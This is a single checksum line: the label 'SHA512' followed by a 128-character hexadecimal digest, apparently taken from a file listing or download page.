SHA5126fd0251b880cd64e700f31190891aaf114273701f66f24f99b1a8425e506053bf0c2dc12fb26c5848dfd4b52ee8e39cf7379422c8880961ec695ceb73ba3212c